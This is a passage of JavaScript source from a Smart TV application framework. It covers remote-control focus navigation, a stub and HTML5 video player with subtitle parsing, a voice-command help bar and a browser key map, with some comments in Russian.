* Restore navigation state
* @returns {Navigation}
*/
restore: function () {
if ( savedNavs.length ) {
this.off();
var foo = savedNavs.pop();
this.area_selector = foo.area_selector;
this.higlight_class = foo.higlight_class;
this.on(foo.$container, foo.navCur);
}
return this;
},
/**
* Setting focus on element
* @param element {*} - HTMLElement, selector or Jquery object
* @param originEvent {string} - event source(nav_key, mousemove, voice etc.)
* @return {Navigation}
*/
current: function ( element, originEvent ) {
if ( !element ) {
return navCur;
}
originEvent = originEvent || 'nav_key';
var $el = $(element);
if ( $el.is(this.phantom_selector) ) {
$el = $($($el.attr('data-nav-phantom'))[0]);
}
if ( $el.length > 1 ) {
throw new Error('Focused element must be only one!');
}
if ( !$el.length ) {
return this;
}
var old = navCur;
if ( navCur ) {
navCur.removeClass(this.higlight_class).trigger('nav_blur', [originEvent, $el]);
}
navCur = $el;
$el.addClass(this.higlight_class).trigger('nav_focus', [originEvent, old]);
return this;
},
/**
* Turn on navigation in container, turn off previous navigation
* @param container - HTMLElement, selector or Jquery object (body by default)
* @param cur - HTMLElement, selector or Jquery object(first nav el by default)
* @return {Navigation}
*/
on: function ( container, cur ) {
var self = this,
$navTypeEls;
$body = $body || $(document.body);
this.off();
this.$container = container ? $(container) : $body;
if ( SB.platform != 'philips' ) {
this.$container.on('mouseenter.nav', this.area_selector, function ( e ) {
if ( !$(this).is(self.phantom_selector) ) {
self.current(this, 'mouseenter');
}
});
}
$navTypeEls = this.$container.find('[data-nav_type]');
if ( this.$container.attr('data-nav_type') ) {
$navTypeEls = $navTypeEls.add(this.$container);
}
$navTypeEls.each(function () {
var $el = $(this);
var navType = $el.attr("data-nav_type");
$el.removeAttr('data-nav_type');
//self.setLoop($el);
var loop = $el.attr("data-nav_loop");
self.siblingsTypeNav($el, navType, loop);
});
$body
.bind('keydown.navigation', onKeyDown)
.bind('nav_key:enter.navigation', onClick);
if ( !cur ) {
cur = this.$container.find(this.area_selector).filter(':visible')[0];
}
this.current(cur);
return this;
},
siblingsTypeNav: function ( $container, type, loop ) {
var self = this;
$container.on('nav_key:left nav_key:right nav_key:up nav_key:down', this.area_selector,
function ( e ) {
var last = 'last',
cur = self.current(),
next,
fn;
//check if direction concur with declared
if ( (type == 'hbox' && e.keyName == 'left') ||
(type == 'vbox' && e.keyName == 'up') ) {
fn = 'prev';
} else if ( (type == 'hbox' && e.keyName == 'right') ||
(type == 'vbox' && e.keyName == 'down') ) {
fn = 'next';
}
if ( fn == 'next' ) {
last = 'first';
}
if ( fn ) {
next = cur[fn](self.area_selector);
while ( next.length && !next.is(':visible') ) {
next = next[fn](self.area_selector);
}
if ( !next.length && loop ) {
next = $container.find(self.area_selector).filter(':visible')[last]();
}
if ( next.length ) {
nav.current(next);
return false;
}
}
});
},
/**
* Turn off navigation from container, disable navigation from current element
* @return {Navigation}
*/
off: function () {
if ( navCur ) {
navCur.removeClass(this.higlight_class).trigger('nav_blur');
}
this.$container && this.$container.off('mouseenter.nav').off('.loop');
$body.unbind('.navigation');
navCur = null;
return this;
},
/**
* Find first nav el & set navigation on them
*/
findSome: function () {
var cur;
if ( !(navCur && navCur.is(':visible')) ) {
cur = this.$container.find(this.area_selector).filter(':visible').eq(0);
this.current(cur);
}
return this;
},
/**
* Find closest to $el element by dir direction
* @param $el {jQuery} - source element
* @param dir {string} - direction up, right, down, left
* @param navs {jQuery} - object, contains elements to search
* @returns {*}
*/
findNav: function ( $el, dir, navs ) {
var user_defined = this.checkUserDefined($el, dir);
if ( user_defined ) {
if (user_defined === 'none') {
return false;
} else {
return user_defined;
}
}
var objBounds = $el[0].getBoundingClientRect(),
arr = [],
curBounds = null,
cond1, cond2, i , l;
for ( i = 0, l = navs.length; i < l; i++ ) {
curBounds = navs[i].getBoundingClientRect();
if ( curBounds.left == objBounds.left &&
curBounds.top == objBounds.top ) {
continue;
}
switch ( dir ) {
case 'left':
cond1 = objBounds.left > curBounds.left;
break;
case 'right':
cond1 = objBounds.right < curBounds.right;
break;
case 'up':
cond1 = objBounds.top > curBounds.top;
break;
case 'down':
cond1 = objBounds.bottom < curBounds.bottom;
break;
default:
break;
}
if ( cond1 ) {
arr.push({
'obj': navs[i],
'bounds': curBounds
});
}
}
var min_dy = 9999999, min_dx = 9999999, min_d = 9999999, max_intersection = 0;
var dy = 0, dx = 0, d = 0;
function isIntersects ( b1, b2, dir ) {
var temp = null;
switch ( dir ) {
case 'left':
case 'right':
if ( b1.top > b2.top ) {
temp = b2;
b2 = b1;
b1 = temp;
}
if ( b1.bottom > b2.top ) {
if ( b1.top > b2.right ) {
return b2.top - b1.right;
}
else {
return b2.height;
}
}
break;
case 'up':
case 'down':
if ( b1.left > b2.left ) {
temp = b2;
b2 = b1;
b1 = temp;
}
if ( b1.right > b2.left ) {
if ( b1.left > b2.right ) {
return b2.left - b1.right;
}
else {
return b2.width;
}
}
break;
default:
break;
}
return false;
}
var intersects_any = false;
var found = false;
for ( i = 0, l = arr.length; i < l; i++ ) {
if ( !this.checkEntryPoint(arr[i].obj, dir) ) {
continue;
}
var b = arr[i].bounds;
var intersects = isIntersects(objBounds, b, dir);
dy = Math.abs(b.top - objBounds.top);
dx = Math.abs(b.left - objBounds.left);
d = Math.sqrt(dy * dy + dx * dx);
if ( intersects_any && !intersects ) {
continue;
}
if ( intersects && !intersects_any ) {
min_dy = dy;
min_dx = dx;
max_intersection = intersects;
found = arr[i].obj;
intersects_any = true;
continue;
}
switch ( dir ) {
case 'left':
case 'right':
if ( intersects_any ) {
cond2 = dx < min_dx || (dx == min_dx && dy < min_dy);
}
else {
cond2 = dy < min_dy || (dy == min_dy && dx < min_dx);
}
break;
case 'up':
case 'down':
if ( intersects_any ) {
cond2 = dy < min_dy || (dy == min_dy && dx < min_dx);
}
else {
cond2 = dx < min_dx || (dx == min_dx && dy < min_dy);
}
break;
default:
break;
}
if ( cond2 ) {
min_dy = dy;
min_dx = dx;
min_d = d;
found = arr[i].obj;
}
}
return found;
},
/**
* Return element defied by user
* Если юзером ничего не определено или направление равно 0, то возвращает false
* Если направление определено как none, то переход по этому направлению запрещен
*
* @param $el - current element
* @param dir - direction
* @returns {*}
*/
checkUserDefined: function ( $el, dir ) {
var ep = $el.data('nav_ud'),
result = false,
res = $el.data('nav_ud_' + dir);
if (!ep && !res) {
return false;
}
if ( !res ) {
var sides = ep.split(','),
dirs = ['up', 'right', 'down', 'left'];
if(sides.length !== 4) {
return false;
}
$el.data({
'nav_ud_up': sides[0],
'nav_ud_right': sides[1],
'nav_ud_down': sides[2],
'nav_ud_left': sides[3]
});
res = sides[dirs.indexOf(dir)];
}
if ( res == 'none' ) {
result = 'none';
} else if( res == '0' ) {
result = false;
} else if ( res ) {
result = $(res).first();
}
return result;
},
/**
* Проверяет можно ли войти в элемент с определенной стороны.
* Работает если у элемента задан атрибут data-nav_ep. Точки входа задаются в атрибуте с помощью 0 и 1 через запятые
* 0 - входить нельзя
* 1 - входить можно
* Стороны указываются в порядке CSS - top, right, bottom, left
*
* data-nav_ep="0,0,0,0" - в элемент зайти нельзя, поведение такое же как у элемента не являющегося элементом навигации
* data-nav_ep="1,1,1,1" - поведение по умолчанию, как без задания этого атрибута
* data-nav_ep="0,1,0,0" - в элемент можно зайти справа
* data-nav_ep="1,1,0,1" - в элемент нельзя зайти снизу
* data-nav_ep="0,1,0,1" - можно зайти слева и справа, но нельзя сверху и снизу
*
* @param elem - проверяемый элемент
* @param dir - направление
* @returns {boolean}
*/
checkEntryPoint: function ( elem, dir ) {
var $el = $(elem),
ep = $el.attr('data-nav_ep'),
res = null;
if ( !ep ) {
return true;
}
res = $el.attr('data-nav_ep_' + dir);
if ( res === undefined ) {
var sides = ep.split(',');
$el.attr('data-nav_ep_top', sides[0]);
$el.attr('data-nav_ep_right', sides[1]);
$el.attr('data-nav_ep_bottom', sides[2]);
$el.attr('data-nav_ep_left', sides[3]);
res = $el.attr('data-nav_ep_' + dir);
}
return !!parseInt(res);
}
};
}
nav = window.$$nav = new Navigation();
$(function () {
// Navigation events handler
$(document.body).bind('nav_key:left nav_key:right nav_key:up nav_key:down', function ( e ) {
var cur = nav.current(),
$navs,
n;
$navs = nav.$container.find(nav.area_selector).filter(':visible');
n = nav.findNav(cur, e.keyName, $navs);
n && nav.current(n);
});
});
})(this);
/**
* Player plugin for smartbox
*/
(function (window) {
var updateInterval, curAudio = 0, curSubtitle=0;
/**
* emulates events after `play` method called
* @private
* @param self Player
*/
var stub_play = function (self) {
self.state = "play";
updateInterval && clearInterval(updateInterval);
updateInterval = setInterval(function () {
self.trigger("update");
self.videoInfo.currentTime += 0.5;
if (self.videoInfo.currentTime >= self.videoInfo.duration) {
self.stop();
self.trigger("complete");
}
}, 500);
};
var inited = false;
var errorTimeout;
var Player = window.Player = {
mode3d: {
OFF: 'off',
SIDE_BY_SIDE: 'side_by_side',
ABOVE_BELOW: 'above_below'
},
isSeeking: false,
// default seek time in seconds
jumpLength: 5,
config: {
//time for 'error' event(if nothing happens)
errorTimeout: 15000,
// use debounce for seek functions
useSeekDebounce: true,
autosize: true,
size: {
left: 0,
top: 0,
width: 1280,
height: 720
}
},
/**
* Inserts player object to DOM and do some init work
* @examples
* Player._init(); // run it after SB.ready
*/
_init: function () {
//no need to do anything because just stub
},
extend: function (obj) {
return SB.extend(this, obj);
},
/**
* current player state ["play", "stop", "pause"]
*/
state: 'stop',
/**
* Runs some video
* @param {Object} options {url: "path", type: "hls", from: 0
* }
* @examples
*
* Player.play({
* url: "movie.mp4"
* }); // => runs video
*
* Player.play({
* url: "movie.mp4"
* from: 20
* }); // => runs video from 20 second
*
* Player.play({
* url: "stream.m3u8",
* type: "hls"
* }); // => runs stream
*/
play: function (options) {
var self=this;
if (!inited) {
self._init();
inited = true;
}
if (typeof options == "string") {
options = {
url: options
}
}
if (options !== undefined) {
self.stop();
self.state = 'play';
self._play(options);
/*
var onready=function(){
self.off('ready', onready);
self.off('error', onready);
clearTimeout(errorTimeout);
};
self.on('ready', onready);
self.on('error', onready);
errorTimeout=setTimeout(function(){
self.trigger('error');
}, self.config.errorTimeout);*/
} else if (options === undefined && this.state === 'pause') {
this.resume();
}
},
_play: function () {
var self = this;
setTimeout(function () {
self.trigger("ready");
setTimeout(function () {
self.trigger("bufferingBegin");
setTimeout(function () {
self.videoInfo.currentTime = 0;
self.trigger("bufferingEnd");
stub_play(self);
}, 1000);
}, 1000);
}, 1000);
},
/**
* Stop video playback
* @param {Boolean} silent if flag is set, player will no trigger "stop" event
* @examples
*
* Player.stop(); // stop video
*
* App.onDestroy(function(){
* Player.stop(true);
* }); // stop player and avoid possible side effects
*/
stop: function (silent) {
var info = this.videoInfo;
if (this.state != 'stop') {
this._stop();
if (!silent) {
this.trigger('stop');
}
if (info.seekTime) {
info.seekTime = null;
this.trigger('seekStop')
}
}
this.state = 'stop';
},
/**
* Pause playback
* @examples
* Player.pause(); //paused
*/
pause: function () {
if (this.state === 'play') {
this._pause();
this.state = "pause";
this.trigger('pause');
}
},
_pause: $.noop,
/**
* Resume playback
* @examples
* Player.pause(); //resumed
*/
resume: function () {
if (this.state === 'pause') {
this._resume();
this.state = "play";
this.trigger('resume');
}
},
_resume: function () {
stub_play(this);
},
/**
* Toggles pause/resume
* @examples
*
* Player.togglePause(); // paused or resumed
*/
togglePause: function () {
if (this.state == "play") {
this.pause();
} else {
this.resume();
}
},
_stop: function () {
clearInterval(updateInterval);
},
/**
* Converts time in seconds to readable string in format H:MM:SS
* @param {Number} seconds time to convert
* @returns {String} result string
* @examples
* Player.formatTime(PLayer.videoInfo.duration); // => "1:30:27"
*/
formatTime: function (time) {
var hours = Math.floor(time / (60 * 60));
var divisor_for_minutes = time % (60 * 60);
var minutes = Math.floor(divisor_for_minutes / 60);
var divisor_for_seconds = divisor_for_minutes % 60;
var seconds = Math.ceil(divisor_for_seconds);
if (seconds < 10) {
seconds = "0" + seconds;
}
if (minutes < 10) {
minutes = "0" + minutes;
}
return (hours ? hours + ':' : '') + minutes + ":" + seconds;
},
setSize: function ( opt ) {
opt = opt || {};
var size = this.config.size;
_.extend(size, opt);
if (inited) {
this._setSize(size);
}
},
_setSize: $.noop,
/**
* Hash contains info about current video
*/
videoInfo: {
/**
* Total video duration in seconds
*/
duration: 0,
/**
* Video stream width in pixels
*/
width: 0,
/**
* Video stream height in pixels
*/
height: 0,
/**
* Current playback time in seconds
*/
currentTime: 0,
/**
* Current seeking time
*/
seekTime: null
},
/**
*
* @param {Number} seconds time to seek
* @examples
* Player.seek(20); // seek to 20 seconds
*/
_seek: function (seconds) {
var self = this;
self.videoInfo.currentTime = seconds;
self.pause();
self.trigger("bufferingBegin");
setTimeout(function () {
self.trigger("bufferingEnd");
self.resume();
}, 500);
},
seek: function ( time, useDebounce ) {
var info = this.videoInfo,
jump;
if ( time <= 0 ) {
time = 0;
}
if ( time >= info.duration ) {
time = info.duration;
var state = this.state;
this.state = 'STOP';
if ( state != 'STOP' ) {
this.stop();
this.trigger('complete');
}
} else {
if ( this.config.useSeekDebounce && useDebounce) {
this.seekDebounce(time);
} else {
this.seekStop(time);
}
if (info.seekTime) {
this.trigger('seekProgress')
}
}
},
seekStop: function ( time ) {
var info = this.videoInfo;
if (this.state !== 'stop') {
this._seek(time);
info.currentTime = time;
if (info.seekTime) {
info.seekTime = null;
this.trigger('seekStop');
}
this.trigger('update');
}
},
seekDebounce: _.debounce(function (time) {
this.seekStop(time)
}, 500),
forward: function ( time ) {
time = time || this.jumpLength;
if (this.state !== 'stop') {
var seekTime = this.setSeekTime(time);
this.seek(seekTime, true);
}
},
backward: function (time) {
time = time || this.jumpLength;
if (this.state !== 'stop') {
var seekTime = this.setSeekTime(-time);
this.seek(seekTime, true);
}
},
setSeekTime: function (time) {
var info = this.videoInfo;
// check for null value
if ( _.isNull(info.seekTime) ) {
info.seekTime = info.currentTime;
this.trigger('seekStart');
}
info.seekTime += time;
return info.seekTime;
},
/**
* For multi audio tracks videos
*/
audio: {
/**
* Set audio track index
* @param index
*/
set: function (index) {
curAudio = index;
},
/**
* Returns list of supported language codes
* @returns {Array}
*/
get: function () {
var len = 2;
var result = [];
for (var i = 0; i < len; i++) {
result.push(0);
}
return result;
},
/**
* @returns {Number} index of current playing audio track
*/
cur: function () {
return curAudio;
},
toggle: function () {
var l = this.get().length;
var cur = this.cur();
if (l > 1) {
cur++;
if (cur >= l) {
cur = 0;
}
this.set(cur);
}
}
},
subtitle: {
_urls: [],
running: false,
$subtitles_text: null,
hasUpdateListener: false,
_prevTime: -1,
_prevSubtitle: -1,
onUpdate: function () {
if (this.running) {
var cTime = Player.videoInfo.currentTime, index, subtitleObject;
//если идет последовательное воспроизведение
//это самый частый случай
if (cTime > this._prevTime) {
console.log('normal');
index = this.getTextIndex(this._prevSubtitle + 1);
} else {//если были перемотки ищем с начала и до конца
console.log('rewind');
index = this.getTextIndex(0);
}
subtitleObject = this.data[index];
if (subtitleObject) {
this.showText(subtitleObject.text);
this._prevTime = cTime;
this._prevSubtitle = index;
}
}
},
showText: function(text){
var $subtitiles;
if(!this.$subtitles_text){
$('body').append('<div id="subtitles_view" style="position: absolute; z-index: 1;"><div id="subtitles_text"></div></div>');
$subtitiles = $('#subtitles_view');
$subtitiles.css({
width: '1280px',
height: '720px',
left: '0px',
top: '0px'
});
this.$subtitles_text=$('#subtitles_text').css({
'position': 'absolute',
'text-align': 'center',
'width': '100%',
'left': '0',
'bottom': '50px',
'font-size': '24px',
'color': '#fff',
'text-shadow': '0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000,0 0 3px #000',
'line-height': '26px'
});
}
this.$subtitles_text.html(text);
},
add: function(url, name){
this._urls.push({
url: url,
name: name
});
},
/**
* Set subtitle index
* @param index
*/
set: function (index) {
curSubtitle = index;
if(index!=-1){
this.url(this._urls[index].url);
}else{
this.running=false;
}
},
/**
* Returns list of available subtitles
* @returns {Array}
*/
get: function () {
return _.pluck(this._urls, 'name');
},
/**
* @returns {Number} index of current subtitles
*/
cur: function () {
return curSubtitle;
},
toggle: function () {
var l = Player.subtitle.get().length;
var cur = Player.subtitle.cur();
if (l > 1) {
cur++;
if (cur >= l) {
cur = 0;
}
Player.subtitle.set(cur);
}
},
getTextIndex: function (fromIndex) {
var cTime = Player.videoInfo.currentTime*1000;
for (var i = fromIndex, l = this.data.length; i < l; i++) {
var obj = this.data[i];
if (cTime >= obj.time) {
var next=this.data[i+1];
if(next&&cTime>=next.time){
continue;
}
return i;
}
}
return -1;
},
data: [
{
time: 0,
text: ''
}
],
/**
* Load subtitles from remote file
* @param url
*/
url: function (url) {
var extension = /\.([^\.]+)$/.exec(url)[1];
var self=this;
$.ajax({
url: url,
dataType: 'text',
success: function (data) {
self.running=true;
Player.subtitle.parse[extension].call(Player, data);
if(!self.hasUpdateListener){
self.hasUpdateListener=true;
Player.on('update', function(){
self.onUpdate();
});
}
}
});
},
parse: {
smi: function (data) {
data = data.split(/\s*<sync/i);
data.shift();
Player.subtitle.data = _.map(data, function (value) {
var match = /[\s\S]*start=(\d+)[\s\S]*<p[^>]*>([\s\S]*)<spanid/i.exec(value);
if (match) {
return {
time: parseInt(match[1], 10),
text: match[2]
};
}
});
},
srt: function (data) {
data = data.split('\r\n\r\n');
var self = Player.subtitle;
self.data = [];
var parseTime = function (time) {
var matches = time.match(/(\d{2}):(\d{2}):(\d{2}),(\d+)/);
return parseInt(matches[1], 10) * 3600000 +
parseInt(matches[2], 10) * 60000 +
parseInt(matches[3], 10) * 1000 +
parseInt(matches[4], 10);
};
_.each(data, function (value) {
if (!value) {
return;
}
var rows = value.split('\n');
var timeRow = rows[1].split(' --> '),
timeStart, timeEnd, text;
rows.splice(0, 2);
timeStart = parseTime(timeRow[0]);
timeEnd = parseTime(timeRow[1]);
self.data.push({
time: timeStart,
text: rows.join('<br/>')
});
self.data.push({
time: timeEnd,
text: ''
});
});
self.data.unshift({
time: 0,
text: ''
});
}
}
}
};
//SBEvents.call(Player);
SB.extend(Player, SBEvents.prototype);
}(this));
(function ($) {
"use strict";
var inited = false,
enabled = false,
currentVoiceState,
curOptions,
$curTarget,
$buble,
stack = [],
$moreDiv = $('<div/>'),
paused = false;
var init= function(){
if (!inited) {
enabled = $$voice._nativeCheckSupport();
if (!enabled) {
return;
}
$$voice._init();
$buble = $('#voice_buble');
inited = true;
}
}
var defaults = {
selector: '.voicelink',
moreText: 'More',
eventName: 'voice',
useHidden: false,
helpText: '',
// количество показов баббла помощи
showHelperTimes: 3,
// количество самсунговских всплывашек с командами
helpbarMaxItems: 6,
// включение сортировки по весу
sortByWeight: true,
//Вес голосовых ссылок по умолчанию
helpbarItemWeight: 200,
candidateWeight: 0
};
var helpbarVisibityTimeoutLink;
window.$$voice = {
voiceTimeout: 10000,
_resetVisibilityTimeout: function () {
$$voice.helpbarVisible = true;
clearTimeout(helpbarVisibityTimeoutLink);
helpbarVisibityTimeoutLink = setTimeout(function () {
//чтобы обновлял подсказки если был вызван голосовой поиск смотри баг #966
if (typeof voiceServer == 'function') {
voiceServer = false;
$$voice.restore();
}
$buble.hide();
$$voice.helpbarVisible = false;
}, this.voiceTimeout);
},
_init: function () {
},
_nativeCheckSupport: function () {
},
helpbarVisible: false,
enabled: function () {
init();
return enabled;
},
_setVoiceHelp: function (voicehelp) {
},
pause: function () {
paused = true;
},
resume: function () {
paused = false;
},
say: function (text) {
if (paused)
return;
var result = text.toLowerCase();
var opts = $.extend({}, defaults, curOptions);
if (elements[result]) {
elements[result].trigger(opts.eventName);
}
if ($curTarget) {
generateHelpBar.call($curTarget, curOptions);
}
},
_nativeTurnOff: function () {
},
hide: function () {
if(!this.enabled()){
return;
}
this._nativeTurnOff();
$buble.hide();
return this;
},
setup: function (options) {
$.extend(defaults, options);
return this;
},
save: function () {
if (currentVoiceState)
stack.push(currentVoiceState);
return this;
},
restore: function () {
var last = stack.pop();
if (last)
$.fn.voiceLink.apply(last.self, last.args);
return this;
},
_nativeFromServer: function (title, callback) {
},
fromServer: function (title, callback) {
if (!inited)
return this;
this.save();
this._nativeFromServer(title, callback);
return this;
},
refresh: function () {
return this.save().restore();
}
}
var generated = false, elements;
/**
* Преобразование jQuery коллекции в массив
* и добавление команд в объект elements
* @param elems
* @returns {Array}
*/
function voiceElementsToArray(elems) {
var items = [];
elems.each(function () {
var $el = $(this);
var commands = $el.attr('data-voice');
var group = $el.attr('data-voice-group');
var hidden = $el.attr('data-voice-hidden') === 'true' ? true : false;
var weight = $el.attr('data-voice-weight') || 0;
var main = false;
if (!commands) {
console.error('command in ', this, ' is not defined');
return;
}
if ($el.attr('data-voice-disabled')) {
return;
}
if (!weight) {
if (!group && !hidden) {
weight = defaults.helpbarItemWeight
main = true;
}
else {
weight = defaults.candidateWeight
}
}
items.push({
itemText: commands,
weight: weight,
group: group,
hidden: hidden,
main: main
});
elements[commands.toLowerCase()] = $el;
});
return items;
}
var groupNames = {},
gnCount = 0;
var generateHelpBar = function (options) {
if (generated) {
return;
}
generated = true;
$buble.hide().empty();
var voiceItems,
helpbarVoiceItems,
candidateVoiceItems,
activeItems,
hiddenItems,
items = [],
candidates = [],
opts = $.extend({}, defaults, options),
helpbarMaxItems = opts.helpbarMaxItems,
elems = this.find(opts.selector);
var voicehelp = {
helpbarType: "HELPBAR_TYPE_VOICE_CUSTOMIZE",
bKeepCurrentInfo: "false",
helpbarItemsList: {}
};
elements = {};
if (!options.useHidden) {
var force = elems.filter('[data-voice-force-visible]');
elems = elems.filter(':visible').add(force);
}
// сортировка элементов по весу (от большего к меньшему)
if (opts.sortByWeight) {
voiceItems = _.sortBy(voiceElementsToArray(elems), function (el) {
return -el.weight;
});
} else {
voiceItems = voiceElementsToArray(elems);
}
// количество скрытых голосовых подсказок
hiddenItems = $.grep(voiceItems, function (el) {
return el.hidden === true;
});
// количество отображаемых подсказок
activeItems = _.difference(voiceItems, hiddenItems);
// добавление кнопки "Еще"
if (activeItems.length > helpbarMaxItems) {
activeItems.splice(helpbarMaxItems - 1, 0, {
itemText: opts.moreText,
commandList: [
{command: opts.moreText}
]
});
$moreDiv.unbind().bind(opts.eventName, function () {
$('body').trigger('showVoiceHelpbar');
$$voice._resetVisibilityTimeout();
$buble.show();
});
elements[opts.moreText.toLowerCase()] = $moreDiv;
}
// выбираем элементы для подсказок самсунга
helpbarVoiceItems = activeItems.splice(0, helpbarMaxItems);
// остальные голосовые команды
candidateVoiceItems = _.union(hiddenItems, activeItems);
// массив для хелпбара самсунга
_.each(helpbarVoiceItems, function (val) {
var commands = val.itemText;
items.push({
itemText: commands,
commandList: [
{command: commands}
]
});
});
// массив команд, не отображаемых в хелпбаре самсунга
_.each(candidateVoiceItems, function (val) {
var group = val.group,
commands = val.itemText,
hidden = val.hidden,
main = val.main;
if (main && !group) {
group = '';
}
if (!hidden) {
if (!groupNames[group]) {
gnCount++;
groupNames[group] = gnCount;
}
var $groupWrap = $buble.find('#voice_group_body_' + groupNames[group]);
if ($groupWrap.length) {
$groupWrap.append('<div class="voice_help_item">' + commands + '</div>');
}
else {
$buble.append('<div class="voice_group_head">' + group + '</div>' +
'<div class="voice_group_body" id="voice_group_body_' + groupNames[group] + '">' +
'<div class="voice_help_item">' + commands + '</div>' +
'</div>');
}
}
candidates.push({
candidate: val.itemText
});
});
voicehelp.helpbarItemsList = items;
if (candidates.length) {
voicehelp.candidateList = candidates;
}
$$voice._setVoiceHelp(voicehelp);
};
$.fn.voiceLink = function (options) {
// выходим, если нет реализации голоса
if (inited && !enabled) {
return;
}
init()
currentVoiceState = {
self: this,
args: arguments
};
generated = false;
options || (options = {});
curOptions = options;
$curTarget = this;
if ($$voice.helpbarVisible) {
generateHelpBar.call(this, curOptions);
}
}
})(jQuery);
SB.readyForPlatform('browser', function () {
Player.extend({
_init: function () {
var self = this;
this.$video_container = $('<video></video>', {
"id": "smart_player"
});
this._setSize(this.config.size);
var video = this.$video_container[0];
$('body').append(this.$video_container);
this.$video_container.on('loadedmetadata', function () {
self.videoInfo.width = video.videoWidth;
self.videoInfo.height = video.videoHeight;
self.videoInfo.duration = video.duration;
self.trigger('ready');
});
this.$video_container.on('loadstart',function (e) {
self.trigger('bufferingBegin');
}).on('playing',function () {
self.trigger('bufferingEnd');
}).on('timeupdate',function () {
self.videoInfo.currentTime = video.currentTime;
self.trigger('update');
}).on('ended', function () {
self.state = "stop";
self.trigger('complete');
}).on('error', function(e){
self.trigger('error');
});
this.$video_container.on('abort canplay canplaythrough canplaythrough durationchange emptied ended error loadeddata loadedmetadata loadstart mozaudioavailable pause play playing ratechange seeked seeking suspend volumechange waiting', function (e) {
//console.log(e.type);
});
/*
abort Sent when playback is aborted; for example, if the media is playing and is restarted from the beginning, this event is sent.
canplay Sent when enough data is available that the media can be played, at least for a couple of frames. This corresponds to the CAN_PLAY readyState.
canplaythrough Sent when the ready state changes to CAN_PLAY_THROUGH, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level. Note: Manually setting the currentTime will eventually fire a canplaythrough event in firefox. Other browsers might not fire this event.
durationchange The metadata has loaded or changed, indicating a change in duration of the media. This is sent, for example, when the media has loaded enough that the duration is known.
emptied The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
ended Sent when playback completes.
error Sent when an error occurs. The element's error attribute contains more information. See Error handling for details.
loadeddata The first frame of the media has finished loading.
loadedmetadata The media's metadata has finished loading; all attributes now contain as much useful information as they're going to.
loadstart Sent when loading of the media begins.
mozaudioavailable Sent when an audio buffer is provided to the audio layer for processing; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event.
pause Sent when playback is paused.
play Sent when playback of the media starts after having been paused; that is, when playback is resumed after a prior pause event.
playing Sent when the media begins to play (either for the first time, after having been paused, or after ending and then restarting).
progress Sent periodically to inform interested parties of progress downloading the media. Information about the current amount of the media that has been downloaded is available in the media element's buffered attribute.
ratechange Sent when the playback speed changes.
seeked Sent when a seek operation completes.
seeking Sent when a seek operation begins.
suspend Sent when loading of the media is suspended; this may happen either because the download has completed or because it has been paused for any other reason.
timeupdate The time indicated by the element's currentTime attribute has changed.
volumechange Sent when the audio volume changes (both when the volume is set and when the muted attribute is changed).
waiting Sent when the requested operation (such as playback) is delayed pending the completion of another operation (such as a seek).
*/
},
_play: function (options) {
var video=this.$video_container[0];
video.src=options.url;
if(options.from){
//may be buggy
video.addEventListener('loadedmetadata', function(){
video.currentTime = options.from;
}, false);
}
video.play();
},
_stop: function () {
this.$video_container[0].pause();
this.$video_container[0].src = '';
},
_pause: function () {
this.$video_container[0].pause();
},
_resume: function () {
this.$video_container[0].play();
},
_seek: function (time) {
this.$video_container[0].currentTime = time;
},
_forward: function (time) {
this.$video_container[0].currentTime = this.videoInfo.currentTime + time;
},
_backward: function (time) {
this.$video_container[0].currentTime = this.videoInfo.currentTime - time;
},
_setSize: function (size) {
this.$video_container.css({
position: "absolute",
left: size.left + 'px',
top: size.top + 'px',
width: size.width + 'px',
height: size.height + 'px',
zIndex: size.zIndex
});
},
audio: {
//https://bugzilla.mozilla.org/show_bug.cgi?id=744896
set: function (index) {
},
get: function () {
return [];
},
cur: function () {
return 0;
}
},
/*subtitle: {
set: function (index) {
if (Player.$video_container[0].textTracks) {
var subtitles = _.filter(Player.$video_container[0].textTracks, function (i) {
return i.kind === 'subtitles';
});
if (subtitles.length) {
_.each(subtitles, function (self, i) {
if (self.mode === "showing") {
self.mode = "disabled";
}
else if (i == index) {
self.mode = "showing";
}
});
return true;
}
}
return false;
},
get: function () {
if (Player.$video_container[0].textTracks) {
var subtitles = _.filter(Player.$video_container[0].textTracks, function (i) {
return i.kind === 'subtitles';
});
if (subtitles.length) {
return _.map(subtitles, function (self) {
return {index: subtitles.indexOf(self), language: self.language};
});
}
}
return false;
},
cur: function () {
var cur = -1;
if (Player.$video_container[0].textTracks) {
var subtitles = _.filter(Player.$video_container[0].textTracks, function (i) {
return i.kind === 'subtitles';
});
if (subtitles.length) {
_.each(subtitles, function (self, i) {
if (self.mode === "showing") {
cur = i;
return false;
}
});
}
}
return cur;
},
toggle: function () {
var l = Player.subtitle.get().length;
var cur = Player.subtitle.cur();
if (l > 1) {
cur++;
if (cur >= l) {
cur = -1;
}
Player.subtitle.set(cur);
}
}
}*/
});
});
/**
* Browser platform description
*/
SB.createPlatform('browser', {
keys: {
RIGHT: 39,
LEFT: 37,
DOWN: 40,
UP: 38,
RETURN: 27,//esc
EXIT: 46,//delete
TOOLS: 32,//space
FF: 33,//page up
RW: 34,//page down
NEXT: 107,//num+
PREV: 109,//num-
ENTER: 13,
RED: 65,//A
GREEN: 66,//B
YELLOW: 67,//C
BLUE: 68,//D
CH_UP: 221, // ]
CH_DOWN: 219, // [
N0: 48,
N1: 49,
N2: 50,
N3: 51,
N4: 52,
N5: 53,
N6: 54,
N7: 55,
N8: 56,
N9: 57,
PRECH: 45,//ins
SMART: 36,//home
PLAY: 97,//numpad 1
STOP: 98,//numpad 2
PAUSE: 99,//numpad 3
SUBT: 76,//l,
INFO: 73,//i
REC: 82,//r
APP: 81//q
},
detect: function () {
// always true for browser platform
return true;
},
getNativeDUID: function () {
if (navigator.userAgent.indexOf('Chrome') != -1) {
this.DUID = 'CHROMEISFINETOO';
} else {
this.DUID = 'FIREFOXISBEST';
}
return this.DUID;
}
});
(function ($) {
"use strict";
SB.readyForPlatform('browser', function () {
_.extend($$voice, {
_init: function () {
this.helpbarVisible = true;
$('body').append('<div id="voice_buble"></div><div id="help_voice_bubble"></div><div class="emul_voice_helpbar_wrap"><div id="emul_voice_helpbar"></div></div>');
// клики по кнопкам эмулятора голоса
$('#emul_voice_helpbar').on('click', '.emul_voice_trigger', function () {
$$voice.say(this.innerHTML);
});
},
